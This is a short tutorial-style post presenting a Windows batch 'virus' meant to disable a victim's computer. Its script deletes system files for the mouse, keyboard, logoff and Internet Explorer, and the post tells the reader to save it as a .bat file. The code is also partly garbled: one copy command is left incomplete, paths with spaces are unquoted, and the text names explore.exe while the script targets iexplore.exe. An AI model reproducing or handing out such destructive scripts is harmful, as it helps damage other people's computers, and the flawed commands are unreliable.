Virus to Delete mouse,explore,logoff using Batch Programming

This time also i have one Batch Programming. It will delete explore.exe,logoff ,mouse,keyboard files. So victims can not do anything in his computer.

@echo off

@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe

Save it as anyname.bat